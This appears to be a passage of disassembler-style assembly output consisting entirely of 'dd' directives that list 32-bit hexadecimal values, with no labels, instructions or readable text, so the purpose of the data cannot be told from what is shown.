		dd 0B30CF013h, 728F7D51h, 3BED071Dh, 70F097F8h,	0E5396Fh
		dd 0FC842759h, 0D0C6C249h, 0EDBA52FEh, 903FB712h, 0C0E3DAFBh
		dd 6EB63291h, 513C025Eh, 0B9EBBF66h, 0AEC37087h, 0C6369BD3h
		dd 274625B7h, 355F80E6h, 8914118Ah, 4C614425h, 0B0003940h
		dd 5B97F947h, 1D77C256h, 93C79C09h, 323E458h, 1E84B9EDh
		dd 8814643h, 0B56820C7h, 3A9D7D76h, 0C95EED15h,	0F969573h
		dd 0F8C0ECF5h, 0EBD14EFFh, 2300586Bh, 0AD0A090Fh, 57B49237h
		dd 71F63640h, 31C000EBh, 0D0037725h, 0E901261Fh, 2935171Ah
		dd 2134A595h, 9411EC01h, 5EE5253Ch, 0D240A811h,	81D0F55Dh
		dd 8CBA00CBh, 0B960026Ah, 0E801D423h, 0D8C48051h, 202E9061h
		dd 7E96D685h, 4C1F63FAh, 58408482h, 3BBF5087h, 52C41251h
		dd 819B9B90h, 0A45EE647h, 7F31EBFCh, 0FF2C4AC7h, 0BDBF5220h
		dd 25762E2Fh, 0A3DB52CBh, 1167C50h, 7E6E9606h, 30BA9128h
		dd 23A0855Ch, 0F44BF080h, 0B4394820h, 6E3500C8h, 611CE263h
		dd 0D607A31Bh, 7AF03309h, 6FE924BFh, 2FE188E8h,	0DB5FEAA9h
		dd 0EFF7700Dh, 27B01739h, 6889DD8Ah, 39548679h,	50AAC74Ch
		dd 0CEA70072h, 12FD0EA0h, 90032B56h, 48D0B60Ch,	8825E72Eh
		dd 6E6AC5A1h, 0AF4813EDh, 0AF5985A6h, 9B132BBCh, 9FA66FE3h
		dd 0CD4B6B4Dh, 0DF128F9Ch, 0DAFB526Ah, 6BBCC07Bh, 0EC69835Fh
		dd 80180BBFh, 7C84138Dh, 0DB3D9401h, 0C9FBC051h, 3581A90h
		dd 0DB802DB3h, 50988113h, 314EAAD6h, 8A25A398h,	2CD13060h
		dd 708FB780h, 0E6F907B0h, 0B095B370h, 419D2971h, 0E9256C9Ch
		dd 0C1140694h, 4206980h, 594C85BCh, 0CAF79538h,	28638215h
		dd 61FB0230h, 1BF98D89h, 0AC5F597Dh, 535D1743h,	489DB396h
		dd 181913AEh, 13229DA2h, 0F977EB00h, 7467BAE7h,	811700F6h
		dd 60C0B431h, 797D7319h, 0A584B94Eh, 39A91B40h,	0EF15CFh
		dd 1E81DA85h, 9B6D89F6h, 38F79D02h, 74D62EC6h, 0FD8A02A6h
		dd 12D4C82Bh, 9A60EB40h, 0A07A2607h, 1EF1C6Fh, 8BFC5F86h
		dd 78B92FD1h, 0D5A20300h, 4CAE2FDEh, 0CCC21F01h, 750FBFBDh
		dd 35ED043Eh, 0E95F4220h, 0B792905Eh, 858B25D9h, 0C381DF20h
		dd 0F227E920h, 7724222h, 0D1499DD9h, 0F3800472h, 7270E9BEh
		dd 69E788Bh, 0E95EFC94h, 0C998172Dh, 8B9A5406h,	0EC03FF8Dh
		dd 67119DD8h, 9D891018h, 4007424Dh, 0F1A2FE17h,	587B5009h
		dd 0E82BDF04h, 40879EDEh, 0A131E0ACh, 0EE296A7Fh, 0CC80DCB8h
		dd 0BAB54AD9h, 0A2C2004Dh, 0ADFC485Eh, 73057809h, 0CFF3992Eh
		dd 0DE8B34D1h, 0A8CBED3Bh, 0FC958C1Dh, 0A4E00082h, 0F389441Bh
		dd 0B003B928h, 8046B79Fh, 28BB5A5h, 5327F94Bh, 8CC743EDh
		dd 20E7B9E6h, 0FCCA38BBh, 296DD700h, 0DD8509EDh, 0C2B88127h
		dd 23E9E598h, 978B149Dh, 84811FB5h, 727A2980h, 4E758DCCh
		dd 268A9B2Eh, 8D040960h, 1E1431F1h, 0C96E17Ch, 263E261h
		dd 0BA69B8FEh, 0E1AC4089h, 587916ABh, 0EF96F61h, 6C13A3C6h
		dd 40117050h, 109D5B25h, 4DBD23C5h, 0DA4B878Dh,	0C114C8AAh
		dd 728C0F48h, 46FC27D3h, 0DCA894A6h, 3D13C74Ch,	2F2FC175h
		dd 0B0E846C3h, 0C1D63DFh, 57C193FEh, 12404D74h,	13E4B85Bh
		dd 0A2F969E7h, 0F9998BCDh, 0A739A987h, 33DBDD5h, 6D9D2BD1h
		dd 221E694Ch, 57B915h, 0FBACA562h, 0CD58D457h, 20EB0019h
		dd 5FCCA4F3h, 0E83A9D3Ah, 0F8CFD975h, 4201E470h, 29A2D8C5h
		dd 2CE9195h, 6CB5E1FFh,	268BE788h, 0C6E5A5A2h, 0B5C59F17h
		dd 99E0BBA6h, 0A4B18F0Fh, 1551BD8Eh, 9018835h, 4D770485h
		dd 7EE5E0AEh, 734E82D5h, 2234E68Ah, 0E07AA65Bh,	5B1B52Bh
		dd 0DF749EF1h, 71A2E0h
		dd 95675126h, 4E64818h,	17BCA309h, 8022B8F7h, 8926BFDEh
		dd 0D881D3Dh, 4C9977Fh,	0A9605BDAh, 16E0B8BBh, 9D2AA53h
		dd 9F82FFC7h, 0F50408E5h, 0B34039ECh, 3A2C417Dh, 0BD173E13h
		dd 415D75CCh, 44483A16h, 7E05A813h, 44969D29h, 0A2B59Dh
		dd 0B6A0A626h, 9A189C0Ch, 1DAE75FBh, 0A6EE9523h, 0B544C695h
		dd 1329A04h, 50FA8B90h,	4FA0F620h, 686EEF14h, 0FF96017Fh
		dd 0F4E2CBC6h, 8C46B3D2h, 68690269h, 5999A170h,	0C82F4DD9h
		dd 2578EFh, 8A50B818h, 815B5FFEh, 8F243402h, 0D35986A2h
		dd 1B557024h, 0DC03714h, 0E1612AD7h, 9F59895h, 1CDD358Dh
		dd 0D4B20Ch, 38A3E56Bh,	9DE0C462h, 0E5EFC70Bh, 6857FF60h
		dd 0A8D82C1Bh, 31CF1C6Eh, 7D01E270h, 12042280h,	0A11AB357h
		dd 0F9522E26h, 0C883679Bh, 84D4AE88h, 0D9B1B53Eh, 1FB86281h
		dd 461CE3BBh, 9793BF01h, 343A2B87h, 0B89BA9C4h,	0E8E02D5h
		dd 0D88B7643h, 5F2C325Dh, 2900C05Ah, 6BC3B2F6h,	12CD3334h
		dd 0E95BFCD2h, 12949427h, 2DE80D99h, 2BD6BD2h, 0C9BD032Eh
		dd 912A8226h, 2FBE452Dh, 5F6A9B10h, 0C6018872h,	0DD5CF6ABh
		dd 0CB2839BBh, 4689157Dh, 61BCC804h, 8DE13413h,	0D6619612h
		dd 960032C5h, 173DB160h, 61F28066h, 0CA36BF50h,	0B3567E08h
		dd 96AC790Dh, 9EA2DE4Eh, 604D4001h, 0CCD80FECh,	7D786EA7h
		dd 80F33C13h, 0FA4B33B2h, 610C036Eh, 0F874BEB3h, 680ED9E4h
		dd 0A43DFCF0h, 0B2BB800Fh, 3A8C0F90h, 0A2242F81h, 7B26E107h
		dd 0E5D71E92h, 1C5950D3h, 0A8002118h, 53CBDD2Ch, 0B9A964E7h
		dd 74D38024h, 0A19B51F2h, 5C1E4175h, 0CF8E0EF9h, 90B840A6h
		dd 9A0BF66h, 51B350D4h,	0BBD89484h, 5DBDCB60h, 42618111h
		dd 0E77C8DE6h, 0A5D6E525h, 801035F5h, 0D4D92EB3h, 3A0580DFh
		dd 0BA1ED3Ch, 0E7BFF184h, 0E98267C6h, 714C7499h, 95011052h
		dd 62234469h, 946F17D3h, 8CE92005h, 7A4B2CBh, 9AD391F3h
		dd 5B409790h, 23FF03D9h, 6986E564h, 21EAC4DDh, 4259558h
		dd 68E7F980h, 38302707h, 735C1167h, 4066A20Fh, 13BC6DEBh
		dd 0A2F52625h, 44184D7h, 75C5010Eh, 2ED23C11h, 0F470FE9Dh
		dd 0FBBDF012h, 5AA6DE8h, 9D2B9885h, 0A6F7A512h,	0F192EB48h
		dd 67B93A6Eh, 0F70025B8h, 7D3B9050h, 981ACEBh, 0E9E780F8h
		dd 0CE1CA759h, 0A3C4940h, 0C51402h, 56ABE67Ah, 5499C952h
		dd 46DDCD27h, 8AF81270h, 2A3DCh, 51801CF3h, 0EA7AE739h
		dd 0DA2C090Fh, 0C25879C2h, 16DC6FB4h, 0B2526BD1h, 0CE060053h
		dd 0D07C3611h, 3F7031Eh, 76A52C50h, 4F4688C0h, 96272A3Dh
		dd 3749F19Dh, 5DED625Bh, 19BF4514h, 0BD8291Dh, 661E1331h
		dd 654AA35Bh, 6389C13Eh, 0DFDC604h, 92028CECh, 0F49B85Eh
		dd 289F18Fh, 5FBB9DFBh,	53696B74h, 181E7059h, 7F678B09h
		dd 79A60990h, 0B7B7A58Eh, 0D7047C3Dh, 745BAB4Fh, 16B2DFE6h
		dd 4DD64F30h, 9814E1Dh,	3A260195h, 8CBCB024h, 4FBC8C4Dh
		dd 0DCC82828h, 20FCD20h, 3189EF81h, 747457E2h, 9D55246Ch
		dd 0BB057414h, 1A838AC0h, 0E7D871A4h, 93AE0CECh, 5CE22521h
		dd 7C9F62F0h, 0B724DE9Eh, 4560A4A1h, 0E42FF4h, 57863B23h
		dd 6C5F6EB9h, 52503200h, 7148D2BBh, 0AC25F512h,	1E01C489h
		dd 29136F14h, 1A1DD85h,	0C870DA2Bh, 0C012C115h,	9FF93E0Bh
		dd 2106CA4Bh, 335A746h,	4B5BDA00h, 0F95F7D0h, 3FB876BBh
		dd 5F6BCC17h, 6E445A00h, 1EEF287Ch, 0F2A87F54h,	0EC700AB7h
		dd 0B9885CFFh, 26CD8D88h, 11D89D52h, 3314801Ch,	9C6ADh
		dd 1DD51B43h, 55D38166h, 860F9A14h, 53125E27h, 0AA4ECBE7h
		dd 1C7DBD3Fh, 41342E54h, 0B70FD0CAh, 306349DBh,	41008F7Dh
		dd 0BCBB72B2h, 976665C0h, 15B3BA98h, 70B99497h,	0F4A4B692h
		dd 4E404C95h, 3FB3FEh, 0A7A8D2A1h, 1D149Ah, 1F2D54B9h
		dd 0AA6880BDh, 0CEC55B4Bh, 4A69DF82h, 8FBA571Eh, 0DC3557h
		dd 0B086FAFCh, 0C64B852Ch, 800A07Ah, 91805CCBh,	79789D8Bh
		dd 94EC9E97h, 6813DC09h, 2A19FE9h, 80B5DB2Fh, 0CCC2327h
		dd 89FC04B2h, 0E82539B5h, 0FC29D01Dh, 0F59F091Eh, 1ED14DE5h
		dd 0EE46BB80h, 0BD901FCDh, 8A602C81h, 803628C6h, 548CC48Eh
		dd 0C30403D6h, 0FE7ECC95h, 0D0BEA1D8h, 0C6C8804Bh, 61300E3h
		dd 0D87B5C9h, 317FAD34h, 0DE40F400h, 86993B2Ch,	1259F495h
		dd 6F90615Fh, 0D451004Ah, 85C07F17h, 0D0D34CF5h, 4E6DB518h
		dd 0E5FEEB81h, 4A12FB5Ah, 5F3C7A6Fh, 55905727h,	42048C2Ah
		dd 9C8071DDh, 258569C1h, 0EC0BD3Ah, 0D7E8B9F7h,	6827AB30h
		dd 0C6FC00CBh, 1AF848FAh, 0A201D0B0h, 69CC6ED4h, 103AD8E6h
		dd 0D910EE30h, 10902F07h, 16EE9CD4h, 832D61Ah, 508E0298h
		dd 90D73C5Bh, 0C444AB6Fh, 519D250Bh, 0D49D79DAh, 6323DC5Fh
		dd 8D310529h, 76B3A599h, 1A62F0AFh, 95892F52h, 6D55772Bh
		dd 981D44A5h, 4900A7F7h, 2DFE8FCBh, 4F9C22F1h, 1D82A0D0h
		dd 0F26389Dh, 40DE9E89h, 19B1D3FDh, 4AD1FF2Eh, 0E80C14DEh
		dd 0DD12F349h, 88E8F328h, 0F88B4392h, 481DB5E9h, 0B79F02CFh
		dd 0A4600919h, 263C0CD0h, 0CAB792BEh, 0BD3BFFE1h, 0FAAC4Ch
		dd 8AD21B6Ah, 0A1C2F297h, 10B95758h, 5F2E1815h,	24CD6988h
		dd 76C0FAE0h, 9C7405C5h, 90678062h, 5D9D8984h, 0E91263BAh
		dd 0D2F20D08h, 0A9BA01C7h, 0FC7A2D53h, 326A2708h, 0F500E571h
		dd 1C03E34Fh, 295B0070h, 0FBF2E6B3h, 9A97C56Dh,	48E408E2h
		dd 0DF10A524h, 4EBBC84Bh, 54E5C200h, 6FA76389h,	55AE1E56h
		dd 886204BEh, 0E988C46Ah, 4A6CB8D7h, 3A1F228h, 0B5E1CCE6h
		dd 8EF8A0AFh, 0DB2B4B7Bh, 0C01688DBh, 3349C127h, 57E99D26h
		dd 1FE0C2A5h, 801A112Bh, 716FF863h, 0D7F72582h,	0ECA69BDBh
		dd 3D9FCD6h, 0FC5243CAh, 0C29DFF6Ah, 1E4881A2h,	3B4BE780h
		dd 8A3AD0D8h, 440E2360h, 1E04B05Fh, 20BB10D5h, 2A958D76h
		dd 0E1899784h, 1945D272h, 32BD5341h, 55341E39h,	13D8B877h
		dd 304FA8Ah, 0C9BC19A5h, 920D29A1h, 4AEDC139h, 24B18C2Fh
		dd 85310022h, 0BE174F65h, 0C82BF240h, 44660BBh,	0D18B0BA7h
		dd 0CF08BB50h, 0E95F0427h, 3470FFC7h, 1BA621Eh,	0E2C026D4h
		dd 70196ECBh, 549D01D0h, 100B5165h, 15A0682h, 2D019D95h
		dd 0CEA85FCAh, 2F5BF4E1h, 1C309B16h, 9F301F4Ah,	618EC5D6h
		dd 611BEF21h, 5717A79Bh, 980F228h, 0E49E6129h, 7C44A001h
		dd 9189E25Eh, 7DCDD9ECh, 635B6E90h, 0BBFD8A04h,	4F31322Ch
		dd 0C334EB0Dh, 0FC5BEB8h, 9F85BC84h, 13B72461h,	0B9419465h
		dd 4B2F22CEh, 0F9C9D9FCh, 0C4AC6881h, 9142289h,	84D4D828h
		dd 826D97A0h, 20E5CC25h, 15913AE2h, 72CB3680h, 2B45C3Fh
		dd 0EEF6BDCDh, 0FB7D6A4Ch, 8015705Fh, 0D2E35001h, 0D338DA82h
		dd 0E6231507h, 0D68300CAh, 7BFBE029h, 0DD611E06h, 130116EEh
		dd 49575247h, 9FDBC1F2h, 19344DD8h, 868B586Dh, 76786969h
		dd 0BDA4495Ah, 6515619Dh, 4A0DA6B9h, 0D12E62DAh, 0FCDA9017h
		dd 0D04A0EBBh, 0A3D21947h, 0A3B14EC1h, 0B882093Ah, 60A2CFFDh
		dd 0DBF903AEh, 0D0B91116h, 0E07B89AAh, 0C40096ECh, 0E53BD8D4h
		dd 9550573h, 0FA8BD22Bh, 0B7E9D979h, 1FF68092h,	0A60A48CCh
		dd 0B202C5FAh, 0FF8E36BFh, 0DCE05467h, 5512107Dh, 84FC4FFFh
		dd 0CD12FCD0h, 0A5ACEC28h, 18A8DAFDh, 33C9DC01h, 0CFFE2130h
		dd 13297BC0h, 0A71F118Dh, 1D205E0Ch, 8C9D4Eh, 0C887FA5Fh
		dd 0DE41550Eh, 5452631Fh
		dd 0FEF74412h, 0F2AC3F4Dh, 776EC100h, 0BF92FF02h, 2C3409ECh
		dd 4D1F916h, 27BD3358h,	0B7F72CE9h, 0AAF0A5A2h,	0E5E0EF25h
		dd 0B1E22DFCh, 7031DB7Fh, 5B04A30Eh, 0B58ECAD2h, 75E320EBh
		dd 6513829Fh, 50B7B863h, 0A3F628E0h, 0F7354313h, 810106A3h
		dd 3FFECCBh, 7EE1CD6Ch,	3102986Eh, 0D98BB567h, 5300C5E6h
		dd 3C5C475Dh, 2D82DAFh,	730CBB7Ah, 0F65E2302h, 3100A51h
		dd 0E3B61D9Dh, 2112D1A6h, 0C88DAF3h, 0F50AF7A6h, 70C9132Ch
		dd 0CBC362C0h, 525EFC60h, 9C60AA26h, 1C30044Dh,	49543A68h
		dd 5B784A5Eh, 9DD0B0BFh, 6061C175h, 75C5B58Bh, 26930A9h
		dd 2542DC8Ah, 0C2F76BC9h, 0DA348409h, 56C5AAACh, 0B98E8451h
		dd 18A8442h, 660BF549h,	0B7A7EE5Ch, 0AB31164Eh,	0F78A6A00h
		dd 2CF6BF4Fh, 0A54A8202h, 0DB03C937h, 8AB3E47Fh, 9BB6C0D0h
		dd 9E680466h, 0ACFB7279h, 8A610E59h, 0E5B9B3ACh, 4DF83BB9h
		dd 5A39E74Ah, 9B00056Ah, 0E8A65E18h, 0F12CF513h, 0B509401Ah
		dd 5A237604h, 7D454D4h,	7303488Bh, 0F8C24E4Bh, 6274F7E9h
		dd 4F4FCAA5h, 0DE724131h, 0BBB2C82Eh, 4D1D4479h, 1B896663h
		dd 0AD4379AFh, 7DC0096Dh, 0C113E993h, 31786715h, 5C77CCCDh
		dd 0C96C8C00h, 7B04CE23h, 8E460999h, 567938F9h,	3B19B7ADh
		dd 2F00F2BFh, 0B70FBE74h, 0BD120BFEh, 5DED28F5h, 809BDBD7h
		dd 927DC0C7h, 95E0105h,	2B97CFCBh, 0CDBC3B9Dh, 85C2934Dh
		dd 1FDD27C9h, 801C91CCh, 0B856A1F6h, 92A0191h, 9D29F91Fh
		dd 0A3CA2F5Dh, 8C8D844Bh, 0AD004839h, 0B6C30FFDh, 1C33DF3Dh
		dd 6860508Eh, 495B3AF3h, 61016558h, 349412BFh, 8E3F7F73h
		dd 6D161423h, 0A67388h,	9C81687Dh, 3002CEF9h, 42D42600h
		dd 61BFED5h, 0CD404B01h, 0DAD70077h, 0A804F068h, 0FC8AA232h
		dd 5B0A4FBDh, 0DED95DECh, 2015C60Fh, 8FFBC0FDh,	536CAEh
		dd 1AC4D381h, 858D0FABh, 467E07BEh, 0CBA7001Bh,	20220DFDh
		dd 244DB080h, 8033C9BDh, 9735BF90h, 6197645Bh, 9AEBFAE1h
		dd 1C3E6CFBh, 53C1ADBBh, 823F643h, 0C0D799Dh, 31105161h
		dd 975B1540h, 0F2C7096h, 8A421288h, 516F5CF9h, 0E01D7772h
		dd 0AAE3E8h, 1D5429C2h,	1358AEBFh, 8720175Bh, 0F12C53Ch
		dd 2BC0A5CEh, 7D3558Bh,	2796CDD8h, 5D9AC9Bh, 0C6721007h
		dd 0A8D08807h, 32A6F4Bh, 563701C7h, 75B08186h, 0D2DBF8Eh
		dd 0DDEFD15Bh, 3D17C90Bh, 0DC0A8342h, 58F03C43h, 7005BFD8h
		dd 38DF8057h, 5C9D47E0h, 0D4E7582Ah, 9529415Ch,	382F0999h
		dd 27C14989h, 15099589h, 0E6D71205h, 0B6726474h, 23C254BCh
		dd 2570B1BDh, 0B23CBB04h, 97B818B6h, 6BF2C8D2h,	8A9E8F00h
		dd 63B256CBh, 87D703C6h, 0C788571Fh, 345EBAF2h,	958D2961h
		dd 96160B2Ah, 4B23CC5Fh, 0FE41CCF9h, 2634B000h,	8AFD36A0h
		dd 0DCD40568h, 0A6968EE5h, 0F7EE0AAh, 0FEE26BB3h, 2FCDE76h
		dd 0FFF1C0ABh, 1DC035CBh, 0A79C09BDh, 2136CE25h, 8047256Dh
		dd 0EF3B23Eh, 0DA4A794Dh, 0C01BC8EEh, 5A8F679Bh, 7A86D405h
		dd 12BA5259h, 81C68CCBh, 2FEEC304h, 0CFB91EB1h,	1E93A15Ch
		dd 0ACB534BBh, 39313FDBh, 2BA7CB39h, 0C7BCE159h, 97702801h
		dd 12358D89h, 4B4A8B2Eh, 5302776Ah, 9A70F510h, 2BBD7641h
		dd 0F1ED4752h, 0AA05FBBCh, 341AF42Ah, 23BB6BAFh, 0ECA11314h
		dd 0D3202D15h, 0BF6682AEh, 9DDC399h, 18F28B10h,	0F32503h
		dd 2013E51Bh, 9BF674Bh,	572B801h, 9661746Eh, 2B8D63Dh
		dd 33417009h, 40CC5448h, 0AE6D1A1Fh, 3D52A205h,	7B229CC3h
		dd 95B87809h, 1CE445EDh, 64C8760h, 0F1807C01h, 0F1B53BFh
		dd 282FDBD1h, 81884B42h, 95C704EFh, 0E850103Bh,	8A60C735h
		dd 92616BEEh, 70667380h, 0D700D154h, 2A16AE8h, 0B0210B79h
		dd 9E221393h, 0C0B0FC26h, 0C284B8BBh, 9091AC7Fh, 0A54896D7h
		dd 1EAD1BC6h, 0F6316C4h, 0B501EAE8h, 3023F128h,	90F2797h
		dd 0DD2199C2h, 3345771Ch, 0D4B5B643h, 9D2D7B9h,	0E3709D50h
		dd 57A7C64Eh, 0CB15D3A0h, 0DEB41697h, 0AD245862h, 20409D8Dh
		dd 0A1185BE9h, 88E71968h, 8417B9A8h, 0B847B3C1h, 0D98AC16Bh
		dd 4F2C6090h, 0D1E6E083h, 0A998AA88h, 0F6097300h, 77442952h
		dd 0BCD40308h, 5061AD56h, 0E1B680DCh, 90035BCDh, 0A3C02CBBh
		dd 86F25B0Ch, 4DB70A55h, 0F4F5C175h, 0E1AA851Fh, 0E6BAE8C8h
		dd 5E0CE28Fh, 8EB26AFh,	0C09326D5h, 54F145B6h, 9BCC7B4Fh
		dd 77E4B550h, 585A9AA0h, 7D2DBB07h, 0DC8907A1h,	249D96E9h
		dd 19FE8701h, 296A64E1h, 6FC1BD07h, 876C4671h, 0AA3D2380h
		dd 0F300D89Ch, 33D2DADCh, 0CDF8193h, 18358BF8h,	3597F96Ah
		dd 8182A313h, 8D0F12D7h, 5CF51201h, 0F780610Ch,	0BDE2B81h
		dd 0C806E080h, 25284FC7h, 0B1259DC5h, 1108C713h, 92033E74h
		dd 5E314E9h, 85D4DA4Ah,	26BACCCEh, 51250863h, 0BFB4F15Fh
		dd 0EBFD8A16h, 1B80BA9Bh, 499F02D7h, 0D331535Eh, 0AD7D9D0Bh
		dd 19AE05Ah, 0A76A9358h, 65E91EF1h, 0EBEA382Bh,	0B7979392h
		dd 77F80015h, 58E5BEDCh, 897B9305h, 0A840EDB5h,	0C372E781h
		dd 0E7334AB8h, 0ADA759C6h, 9072F96Ah, 0D157C9B8h, 77FA0090h
		dd 0F6950D6Eh, 8D081601h, 46032DB0h, 0C503B83Eh, 0CC575F5Bh
		dd 95738CCh, 38A6BB66h,	0CF894C8Bh, 0F549ED51h,	32E209E7h
		dd 0FC7D60A4h, 0FFE89023h, 3FEF292Bh, 0B4099820h, 70831698h
		dd 0AC73E978h, 3E018C1Ah, 282C2584h, 12FF23Fh, 6AF71F58h
		dd 0A0DB6FFFh, 0CA8A4780h, 0A9B0F856h, 1E66D959h, 5893F560h
		dd 1D65D1Eh, 5B63452h, 81014122h, 0D5FC1D7h, 0FCC0B038h
		dd 0C2705AE6h, 440E0726h, 0C0C36071h, 469DB09h,	0CB806117h
		dd 0D70CB912h, 658420E8h, 0B02BABBEh, 0BC19C54Ah, 46BA252Ah
		dd 44D95F7Bh, 0E860C199h, 0C9EBD3BFh, 5E9307Dh,	96EBB88h
		dd 610DA304h, 81022D70h, 591A30F3h, 25215C2Ah, 0D8DFD210h
		dd 18385C73h, 9ED48392h, 0C0B8D7E1h, 35797CD5h,	1D9A2BBDh
		dd 0BB978196h, 0F424C2BAh, 600CD18Bh, 6292CF80h, 0AA19029Fh
		dd 94E9612Ch, 0B11ACFE6h, 0FCCE9B73h, 8EB0B292h, 495C1B6Ch
		dd 7C08454h, 7D5C71EEh,	0DF2B0209h, 2A62F613h, 904551Fh
		dd 2544115Ah, 5C72A0E8h, 12E61D53h, 2B464091h, 0D50C45A0h
		dd 9E881805h, 0D2C15E4Dh, 5F002305h, 3D9C34E9h,	2BB8FA44h
		dd 43C781C0h, 2B4B93AAh, 881C1F88h, 8C12B2BFh, 23E66978h
		dd 89DD8A05h, 0BF803195h, 0C602EF9h, 0B5E84888h, 0EC8ADB37h
		dd 0DF02D234h, 0E25550E9h, 6FD877A9h, 406BEFB7h, 1303A81Eh
		dd 3D85262Eh, 5F23D10Bh, 352FCD65h, 0B3CB0008h,	0B88D8008h
		dd 983B8E28h, 0C7FFBB00h, 47B913D6h, 95C1A610h,	0C5EFA09h
		dd 0D438590Eh, 8C1AB868h, 5BDF9501h, 0A3FBE81Eh, 402D1F20h
		dd 0C04E2B1Fh, 0ABE58BB6h, 292D5FA6h, 2B0DA1DFh, 3D2EF5D2h
		dd 4AD22B08h, 4CB856DAh, 78929594h, 646BED9Dh, 0F2FF641Bh
		dd 0EE320ACCh, 0C700A251h, 15B22D5h, 1A299D85h,	46D6AC56h
		dd 0F4DD001Dh, 27C866A7h, 0AA1E1FCDh, 5FFC09FFh, 0E15AAE59h
		dd 292BFCB4h, 5A8EB88Ch, 39D76EBBh, 210A80A1h, 74F04DD0h
		dd 0B99F5119h, 85E28C2Bh, 951ED120h, 92466C1Ah,	5E3DAF01h
		dd 43B0C371h, 0C2E1A0CBh, 0FA072EEh, 0FFD5AED6h, 8052EC32h
		dd 0DFB5917Dh, 0AA3300BBh, 206B6FB2h, 0CA505673h, 31400DBAh
		dd 6394955Fh, 4D12274Dh, 1728BC86h, 60453160h, 0E5BD8923h
		dd 909DC92h, 5932759Dh
		dd 5404C488h, 848A4AB9h, 9B9CBF22h, 0BA6502DCh,	0C4F3C09Dh
		dd 606C8777h, 513FB930h, 0AC899537h, 6FC01ACDh,	1484CF1h
		dd 0EEE2F58Ah, 3E820F80h, 0DDC028F9h, 8B90C004h, 0D3E35F00h
		dd 0F22F124Ch, 0BDB0281h, 5B112B48h, 134A1950h,	0B31240E2h
		dd 0D736B990h, 39802A9Bh, 14EE8E75h, 0A6460109h, 0EB545CFCh
		dd 7882E635h, 5C3D3AE3h, 0BB666007h, 46BD6086h,	3C700026h
		dd 0E2B69EE3h, 0DC0980B1h, 62248FD1h, 98F00EECh, 34BF662Bh
		dd 0B690220Eh, 6852E056h, 0B8C915FBh, 76842D8Dh, 7B01A8ECh
		dd 72593A79h, 0EBC20h, 9E50A51Eh, 2644D205h, 3BB33012h
		dd 70B4FFB6h, 0EE3ACA9h, 494BE4Ch, 4125434Ch, 3E0ED9ABh
		dd 0E908F3ADh, 0BB0101CDh, 69C23A6Ah, 0D2ABF1D7h, 562A7331h
		dd 0BC29F9E7h, 82DA1F6Ch, 0B2D25292h, 6EBE5ADFh, 5A490251h
		dd 56CCB78Eh, 66CF2FCAh, 0DFD61E62h, 0E0DB9110h, 31727D00h
		dd 5FF52EC7h, 0DD874AB3h, 0C0F31ACDh, 7CB2993Fh, 0F20C058Ch
		dd 1C76B3B9h, 0AFBD85CCh, 0F531BA6Ch, 0A62A0689h, 0F433E093h
		dd 54F158ADh, 7B5A9D2Dh, 9D18FBDh, 0D17EF32Ch, 0F15AC41Ah
		dd 127E7148h, 0E8B13EB2h, 74D87730h, 1B8C5850h,	4EB98896h
		dd 6A024690h, 3BE73049h, 0B760D84Ah, 0C01A4DB7h, 9FA9DFD6h
		dd 3D95CF50h, 2623898Dh, 898731F9h, 5E0C6995h, 0C780668h
		dd 0B28174D3h, 0CC0F871Dh, 8D1229ECh, 0DFDFA262h, 42CDD029h
		dd 0CE30AC0h, 0A3922C9Bh, 1CF909AAh, 0E0EB4374h, 44E8611Ch
		dd 52001C0Ah, 57458DE7h, 25A12D6Eh, 0BB655FA3h,	82C38180h
		dd 955021C1h, 394B9F14h, 0CC059FE7h, 80442EE4h,	9AD5C628h
		dd 5AA0DA00h, 9D4E5BAFh, 0DE3A4AE9h, 5C0DC19Bh,	0CE6B0FE2h
		dd 6A3AE9F2h, 0EA20003Bh, 51A88CF8h, 6E3AEB91h,	27501AFh
		dd 79E74E05h, 4A3D1030h, 1095CE31h, 0F0420410h,	0ABB603CFh
		dd 0A9C3F39Bh, 7C71607Ah, 12891040h, 0AE26419Dh, 4F0FEC28h
		dd 0DA018880h, 0E9B69B95h, 362BD7F3h, 5520540Fh, 42CEB508h
		dd 2BD40F94h, 2F978540h, 0F41DC70h, 944DD46Eh, 836EEF3Dh
		dd 8B3C5801h, 2F2BA04Bh, 6FAE9E85h, 3D1D2342h, 0FCB48D07h
		dd 0C33A8499h, 623912E0h, 0B4DDCA89h, 3EB8EA29h, 11B15500h
		dd 2BBC37B7h, 713197F5h, 2E2A1009h, 9C2B02B2h, 2DA2EB8Bh
		dd 786BDD56h, 0DD0995EFh, 4049EFFDh, 8833065h, 4DE7058h
		dd 0F53C44E0h, 892D0FE3h, 35D74DC2h, 801B115Bh,	0C2842DE3h
		dd 654E16F3h, 7034B827h, 4460EDB5h, 0FFE2601Ch,	0AD5200B2h
		dd 0FCB7208Fh, 4D4E8531h, 8D013E01h, 6600075Dh,	764BBABBh
		dd 6A7A279Dh, 9F620188h, 17A1BD03h, 5185C18Eh, 4C2BE712h
		dd 115D161Fh, 9764CFEBh, 5F372698h, 0FE6220ACh,	0BD0008A6h
		dd 0B4DA5603h, 938FCFD3h, 0BC53127Dh, 40CD8F75h, 0D8158E6Ah
		dd 66630012h, 1101993Ch, 0A6034C27h, 0F57A0FBEh, 70FF8D5Bh
		dd 96EC38EBh, 0AFE3BF00h, 8A502C80h, 6E2AF3D9h,	7CA15B57h
		dd 0E4A95414h, 83F0E4BCh, 0DBC9D401h, 0F8FE0D81h, 0E80F342Eh
		dd 0EEA2D2A7h, 747B3F89h, 9414D8h, 9E70B971h, 8160AE25h
		dd 1255EB4Ch, 0D0042E20h, 6104076Dh, 86D19450h,	0BD2D0C72h
		dd 5B9A05C1h, 80982AAEh, 0E35A9CCCh, 962A16DCh,	0ACE5B91Ah
		dd 9A048C18h, 4BDA477Bh, 0F28074ACh, 27A3FA43h,	0FA77E38h
		dd 403302E3h, 795DE505h, 0EFBD297Ch, 77542567h,	19E70212h
		dd 0EB8305Dh, 452F1497h, 1EC82A43h, 0C6351290h,	0C0BFE841h
		dd 91AE9AC1h, 14CE95C0h, 9359Fh, 0F0450C55h, 0DC09B5FCh
		dd 70D6E4F4h, 2C2EF35Ch, 2FE3603Fh, 201F882h, 15E48529h
		dd 2D906163h, 0E90F0918h, 0E8F6F3ADh, 0B041932Dh, 71C381C1h
		dd 0B79C7A13h, 94D4887Ch, 8FFFC1AAh, 972A2850h,	4566D9C0h
		dd 117000B2h, 998D13E0h, 16729B10h, 6427A094h, 124D00A4h
		dd 0D3959886h, 3501DDDEh, 0A28D7261h, 1A3E1B6Fh, 8BD5E31Bh
